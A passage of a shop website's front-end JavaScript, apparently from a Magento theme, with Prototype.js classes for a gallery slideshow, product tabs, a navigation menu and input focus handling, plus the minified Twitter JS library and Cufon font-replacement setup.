			//Event.observe(e, 'click', this.endSlideShow.bindAsEventListener(this));
		});
		
		this.pagination.each(function(e, q) {
			Event.observe(e, 'click', thisClass.changePanel.bindAsEventListener(thisClass));
		});

		this.slideShow(this);
		//Event.observe(k, 'focus', this.focusEl.bindAsEventListener(this));
		//Event.observe(k, 'blur', this.blurEl.bindAsEventListener(this));
	},
	changePanel: function(k) {
		var thisClass = this;
		k.stop();
		
		var clicky = k.element().up(0).identify().replace('pagination-', '');
		this.endSlideShow();
		
		this.panels.each(function(e, v) {
			if(clicky == v) {
				thisClass.showPanel(e);
				thisClass.adjustPagination(v);
				$(e).addClassName('current').removeClassName('inactive');
			} else {
				thisClass.hidePanel(e);
				$(e).removeClassName('current').addClassName('inactive');
			}
		});
	},
	nextPanel: function(k, v) {
		var thisClass = this;
		
		var newCurrent = thisClass.current+1;
		
		if(newCurrent >= thisClass.totalPanels) {
			newCurrent = 0;
		}
		
		this.panels.each(function(e, q) {
			//if($(e).hasClassName('current')) {
			//	console.log($(e).nextSibling
			//}
			if(q == newCurrent) {
				thisClass.showPanel(e);
				thisClass.adjustPagination(q);
				$(e).addClassName('current').removeClassName('inactive');
			} else {
				thisClass.hidePanel(e);
				$(e).removeClassName('current').addClassName('inactive');
			}
		});
		
		thisClass.current = newCurrent;
	},
	showPanel: function(k) {
		//$(k).appear({ duration: 1000 });
		$(k).show();
	},
	hidePanel: function(k) {
		//$(k).fade({ duration: 1000 });
		$(k).hide();
	},
	adjustPagination: function(e) {
		var paginationLinks = this.gallery.select('.galleryPaginationScroller .paginationLink');
		var paginationCounter = this.gallery.select('.paginationCounter')[0];
		paginationCounter.update((e+1) + '/' + this.totalPanels);
		Cufon.replace(paginationCounter, {fontFamily: 'AmerType Md BT'});
		paginationLinks.each(function(k,v) {
			
			var linkA = $(k).select('a')[0];
			$(linkA).removeClassName('selected').addClassName('imageNumber').update('<img src="/skin/frontend/default/hifigear/images/gallery/off.jpg">');
			if(v == e) {
				$(linkA).removeClassName('imageNumber').addClassName('selected').update('<img src="/skin/frontend/default/hifigear/images/gallery/on.jpg">');
			}
		});
	},
	slideShow: function(container) {
		slideshowTimeout = setInterval(container.nextPanel.bind(container), 12000);	
		
	},
	
	endSlideShow: function() {
		clearInterval(slideshowTimeout);
	}
};
var Tabswitch = Class.create();
Tabswitch.prototype = {
	
	initialize: function() {
		$$('div#productProductDescription dl.headings dt a').each(this.setup.bind(this));
	},
	setup: function(k, v) {
			Event.observe(k, 'click', this.switchOn.bindAsEventListener(this));
	},

	switchOn: function(k, v) {
		$$('div#productProductDescription dl.headings dt').each(this.switchOff.bind(this));
		Event.element(k).up('dt').addClassName('select');
		this.switchTabs(Event.element(k).up('dt'));
		this.seperate(Event.element(k).up('dt'));
		Event.stop(k);
	},
	
	switchOff: function(k, v) {
		if(k.hasClassName('select')) {
			k.removeClassName('select');
		}
		if(k.hasClassName('seperator')) {
			k.removeClassName('seperator');	
		}
	},
	
	seperate: function(k, v) {
		if(k.hasClassName('first')) {
			if(k.next(1)) {
				k.next(1).addClassName('seperator');	
			}
		}
		if(k.hasClassName('last')) {
			if(k.previous(1)) {
				k.previous(1).addClassName('seperator');	
			}
		}
//		console.log(k.classNames());
	},
	
	switchTabs: function(k, v) {
		$$('div#productProductDescription dl.content dd').each(function(el) {
			el.hide();
			if(el.identify() == k.identify()) {
				el.show();
			}
		});
	}
};
var Menu = Class.create();
Menu.prototype = {
	
	initialize: function() {
		$$('ul#nav > li.level0').each(this.setup.bind(this));
	},
	setup: function(k, v) {
			Event.observe(k, 'mouseenter', this.fadeIn.bindAsEventListener(this));
			Event.observe(k, 'mouseleave', this.fadeOut.bindAsEventListener(this));
	},

	fadeIn: function(k, v) {
		//.down(0).next(0);//Event.element(k).up('li').down('div');`
		if(Event.element(k).tagName == "SPAN") {
			var fadeElement = Event.element(k).up('li').down('div');
		} else {
			var fadeElement = Event.element(k).down('div');
		}
		
		if(fadeElement) {
			if(this.fadeAll()) {
				new Effect.Appear(fadeElement, {duration: 0.5, queue: { position: 'front', scope: 'menuOpenScope', afterFinish: this.clearQueues('menuOpenScope', fadeElement) }});
			}
		}
	},
	
	fadeOut: function(k, v) {
		if(Event.element(k).tagName == "SPAN") {
			var fadeElement = Event.element(k).up('li').down('div');
		} else {
			var fadeElement = Event.element(k).down('div');
		}
		
		if(fadeElement) {
			new Effect.Fade(fadeElement, {duration: 0.2, queue: { position: 'front', scope: 'menuCloseScope', afterFinish: this.clearQueues('menuCloseScope', fadeElement) }});
		}
	},
	
	fadeAll: function() {
		$$('ul#nav > li.level0 div').each(function(index) {
			index.setStyle({'display': 'none', 'opacity': 0});
		});
		return true;
	},
	
	clearQueues: function(scope, k) {
		switch(scope) {
			case 'menuOpenScope':
				if(k.getStyle('opacity') == 1) {
					Effect.Queues.get(scope).invoke('cancel');
				}
			break;
			case 'menuCloseScope':
				if(k.getStyle('opacity') == 0) {
					Effect.Queues.get(scope).invoke('cancel');
				}
			break;
		}
		//Effect.Queues.get(scope).interval = 200;
		//console.log(k.getStyle('opacity'));
		//Effect.Queues.get(scope).invoke('cancel');
	}
};
// JavaScript Document

var FocusBlur = Class.create();
FocusBlur.prototype = {
	
	initialize: function() {
		$$('.input-text').each(this.setup.bind(this));
		$$('.search-text').each(this.setupSearch.bind(this));
	},
	setup: function(k, v) {
			Event.observe(k, 'focus', this.focusEl.bindAsEventListener(this));
			Event.observe(k, 'blur', this.blurEl.bindAsEventListener(this));
	},
	setupSearch: function(k, v) {
		Event.observe(k, 'focus', this.focusEl.bindAsEventListener(this));
	},
	focusEl: function(k, v) {
		if(k.element().value) {
			this.inputValue = k.element().value;
		} else {
			this.inputValue = '';	
		}
		k.element().value = '';
	},
	blurEl: function(k, v) {
		/*if(k.element().value == '') {
			if(this.inputValue) {
				k.element().value = this.inputValue;
			}
		}/**/
	}
};
/***
 * Twitter JS v1.13.1
 * http://code.google.com/p/twitterjs/
 * Copyright (c) 2009 Remy Sharp / MIT License
 * $Date: 2009-08-25 09:45:35 +0100 (Tue, 25 Aug 2009) $
 */
if(typeof renderTwitters!='function')(function(){var j=(function(){var b=navigator.userAgent.toLowerCase();return{webkit:/(webkit|khtml)/.test(b),opera:/opera/.test(b),msie:/msie/.test(b)&&!(/opera/).test(b),mozilla:/mozilla/.test(b)&&!(/(compatible|webkit)/).test(b)}})();var k=0;var n=[];var o=false;var p=['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];window.ify=function(){var c={'"':'&quot;','&':'&amp;','<':'&lt;','>':'&gt;'};return{"link":function(t){return t.replace(/[a-z]+:\/\/[a-z0-9-_]+\.[a-z0-9-_:~%&\?\/.=]+[^:\.,\)\s*$]/ig,function(m){return'<a href="'+m+'">'+((m.length>25)?m.substr(0,24)+'...':m)+'</a>'})},"at":function(t){return t.replace(/(^|[^\w]+)\@([a-zA-Z0-9_]{1,15})/g,function(m,a,b){return a+'@<a href="http://twitter.com/'+b+'">'+b+'</a>'})},"hash":function(t){return t.replace(/(^|[^\w'"]+)\#([a-zA-Z0-9_]+)/g,function(m,a,b){return a+'#<a href="http://search.twitter.com/search?q=%23'+b+'">'+b+'</a>'})},"clean":function(a){return this.hash(this.at(this.link(a)))}}}();window.renderTwitters=function(a,b){function node(e){return document.createElement(e)}function text(t){return document.createTextNode(t)}var c=document.getElementById(b.twitterTarget);var d=null;var f=node('ul'),li,statusSpan,timeSpan,i,max=a.length>b.count?b.count:a.length;for(i=0;i<max&&a[i];i++){d=getTwitterData(a[i]);if(b.ignoreReplies&&a[i].text.substr(0,1)=='@'){max++;continue}li=node('li');if(b.template){li.innerHTML=b.template.replace(/%([a-z_\-\.]*)%/ig,function(m,l){var r=d[l]+""||"";if(l=='text'&&b.enableLinks)r=ify.clean(r);return r})}else{statusSpan=node('span');statusSpan.className='twitterStatus';timeSpan=node('span');timeSpan.className='twitterTime';statusSpan.innerHTML=a[i].text;if(b.enableLinks==true){statusSpan.innerHTML=ify.clean(statusSpan.innerHTML)}timeSpan.innerHTML=relative_time(a[i].created_at);if(b.prefix){var s=node('span');s.className='twitterPrefix';s.innerHTML=b.prefix.replace(/%(.*?)%/g,function(m,l){return a[i].user[l]});li.appendChild(s);li.appendChild(text(' '))}li.appendChild(statusSpan);li.appendChild(text(' '));li.appendChild(timeSpan)}if(b.newwindow){li.innerHTML=li.innerHTML.replace(/<a href/gi,'<a target="_blank" href')}f.appendChild(li)}if(b.clearContents){while(c.firstChild){c.removeChild(c.firstChild)}}c.appendChild(f);if(typeof b.callback=='function'){b.callback()}};window.getTwitters=function(e,f,g,h){k++;if(typeof f=='object'){h=f;f=h.id;g=h.count}if(!g)g=1;if(h){h.count=g}else{h={}}if(!h.timeout&&typeof h.onTimeout=='function'){h.timeout=10}if(typeof h.clearContents=='undefined'){h.clearContents=true}if(h.withFriends)h.withFriends=false;h['twitterTarget']=e;if(typeof h.enableLinks=='undefined')h.enableLinks=true;window['twitterCallback'+k]=function(a){if(h.timeout){clearTimeout(window['twitterTimeout'+k])}renderTwitters(a,h)};ready((function(c,d){return function(){if(!document.getElementById(c.twitterTarget)){return}var a='http://www.twitter.com/statuses/'+(c.withFriends?'friends_timeline':'user_timeline')+'/'+f+'.json?callback=twitterCallback'+d+'&count=20&cb='+Math.random();if(c.timeout){window['twitterTimeout'+d]=setTimeout(function(){if(c.onTimeoutCancel)window['twitterCallback'+d]=function(){};c.onTimeout.call(document.getElementById(c.twitterTarget))},c.timeout*1000)}var b=document.createElement('script');b.setAttribute('src',a);document.getElementsByTagName('head')[0].appendChild(b)}})(h,k))};DOMReady();function getTwitterData(a){var b=a,i;for(i in a.user){b['user_'+i]=a.user[i]}b.time=relative_time(a.created_at);return b}function ready(a){if(!o){n.push(a)}else{a.call()}}function fireReady(){o=true;var a;while(a=n.shift()){a.call()}}function DOMReady(){if(document.addEventListener&&!j.webkit){document.addEventListener("DOMContentLoaded",fireReady,false)}else if(j.msie){document.write("<scr"+"ipt id=__ie_init defer=true src=//:><\/script>");var a=document.getElementById("__ie_init");if(a){a.onreadystatechange=function(){if(this.readyState!="complete")return;this.parentNode.removeChild(this);fireReady.call()}}a=null}else if(j.webkit){var b=setInterval(function(){if(document.readyState=="loaded"||document.readyState=="complete"){clearInterval(b);b=null;fireReady.call()}},10)}}function relative_time(c){var d=c.split(" "),parsed_date=Date.parse(d[1]+" "+d[2]+", "+d[5]+" "+d[3]),date=new Date(parsed_date),relative_to=(arguments.length>1)?arguments[1]:new Date(),delta=parseInt((relative_to.getTime()-parsed_date)/1000),r='';function formatTime(a){var b=a.getHours(),min=a.getMinutes()+"",ampm='AM';if(b==0){b=12}else if(b==12){ampm='PM'}else if(b>12){b-=12;ampm='PM'}if(min.length==1){min='0'+min}return b+':'+min+' '+ampm}function formatDate(a){var b=a.toDateString().split(/ /),mon=p[a.getMonth()],day=a.getDate()+'',dayi=parseInt(day),year=a.getFullYear(),thisyear=(new Date()).getFullYear(),th='th';if((dayi%10)==1&&day.substr(0,1)!='1'){th='st'}else if((dayi%10)==2&&day.substr(0,1)!='1'){th='nd'}else if((dayi%10)==3&&day.substr(0,1)!='1'){th='rd'}if(day.substr(0,1)=='0'){day=day.substr(1)}return mon+' '+day+th+(thisyear!=year?', '+year:'')}delta=delta+(relative_to.getTimezoneOffset()*60);if(delta<5){r='less than 5 seconds ago'}else if(delta<30){r='half a minute ago'}else if(delta<60){r='less than a minute ago'}else if(delta<120){r='1 minute ago'}else if(delta<(45*60)){r=(parseInt(delta/60)).toString()+' minutes ago'}else if(delta<(2*90*60)){r='about 1 hour ago'}else if(delta<(24*60*60)){r='about '+(parseInt(delta/3600)).toString()+' hours ago'}else{if(delta<(48*60*60)){r=formatTime(date)+' yesterday'}else{r=formatTime(date)+' '+formatDate(date)}}return r}})();
document.observe("dom:loaded", function() {
  // initially hide all containers for tab content
  	//var oMenu = new Menu();
	var oTabSwitch = new Tabswitch();
	var oFocusBlur = new FocusBlur();
	var oTestimonialGallery = new TestimonialGallery();
	Cufon.replace('#nav li.level0 > a, #nav li.level0 ul.level1 li.level1 h2, h1, h2:not(.no-cufon), h3, a.stbutton, a.facebook, a.twitter, a.blog, #unfooter a, .product-name, .product-options dt, .col-1Info-layout #informationText .column p.title, .shopping-cart-totals h3, #checkoutSteps li h3, .cufon, #galleryDescription h3', {fontFamily: 'HelveticaNeue'});// Medium 
	Cufon.replace('.col-1Info-layout #informationText .column p.title, h3#availability', {fontFamily: 'HelveticaNeue', lineHeight: '26px'});
	Cufon.replace('#related h2', {fontFamily: 'HelveticaNeue', color: '-linear-gradient(#ff6600, #893b08)', textShadow: '#333 1px 1px' });// Medium Con
	Cufon.replace('.callout h2', {fontFamily: 'HelveticaNeue', color: '-linear-gradient(#453d36, #000000)', textShadow: '#aaa9a8 1px 1px' });// Medium Con
	Cufon.replace('#productDescription h1, #productQuantity label, #productOptions label', {fontFamily: 'HelveticaNeue' });// Medium Con
	Cufon.replace('.head h3, .product-shop .small-name, #paginationCounter, #contentHeader span.head, li.item .panel span', {fontFamily: 'AmerType Md BT'});
	Cufon.replace('.product-identity .price-box .price', {fontFamily: 'HelveticaNeueLight' }); // Light Con
	Cufon.replace('#checkoutSteps li h3, #checkout-step-review h3, .side-col h3.account, #checkout-step-login h4, .ad-account-info h4, h4.legend, .content h4, .primary-address-list h4, .address-list h4, .account-box .head h4, .col2-set h4, .account-box h4, .layered-nav h4', {fontFamily: 'HelveticaNeue'});
	Cufon.replace('#checkoutSteps li .checkout-step-count', {fontFamily: 'AmerType Md BT'});
	Cufon.replace('.shopping-cart-totals span.price', {fontFamily: 'HelveticaNeueMed', fontStretch: 'condensed'});
	Cufon.replace('.messages', {fontFamily: 'HelveticaNeueMed', fontStretch: 'condensed'});
	
	
	Cufon.replace('#footer span, .footer span, .column-left > strong',{fontFamily: 'HelveticaNeue'});
	Cufon.replace('.featured-product-container .price',{fontFamily: 'HelveticaNeue'});
	
	
	
});



